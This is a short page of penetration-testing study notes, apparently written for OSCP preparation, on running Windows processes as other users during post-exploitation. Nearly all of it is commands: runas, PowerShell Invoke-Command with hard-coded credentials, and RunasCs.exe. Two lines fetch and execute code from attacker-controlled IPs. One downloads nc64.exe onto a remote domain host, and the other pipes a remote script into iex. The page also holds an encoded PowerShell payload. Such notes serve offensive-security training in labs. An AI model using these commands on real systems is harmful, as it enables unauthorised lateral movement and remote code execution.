> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/post-exploitation/runas.md).

# RunAs

<details>

<summary>CMD</summary>

```bash
runas /u:snovvcrash powershell.exe
```

</details>

<details>

<summary>PowerShell</summary>

```powershell
$cred = New-Object System.Management.Automation.PSCredential('<HOSTNAME>\<USERNAME>', $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force))
Invoke-Command -ComputerName <HOSTNAME> -ScriptBlock { whoami } -Credential $cred
# invoke-command -computername web01.cowmotors-int.com -scriptblock {powershell -enc KABOAGUAd...}

# Using Kerberos --> Dont need specify $creds
Invoke-Command -ComputerName ZPH-SVRDC01.zsm.local -ScriptBlock { powershell iwr http://10.10.14.15:443/nc64.exe -O C:\Windows\Temp\nc64.exe }
```

</details>

<details>

<summary>RunasCs.exe</summary>

```bash
.\RunasCs.exe jamie P@ssw0rd123! "powershell.exe -c iex (new-object net.webclient).downloadstring('http://10.10.14.2/runall.ps1')" -d zsm.local -l 8
```

<https://github.com/antonioCoco/RunasCs>

Useful when the evil-winrm shell does not have ldap authentication for the user --> can't perform domain actions

</details>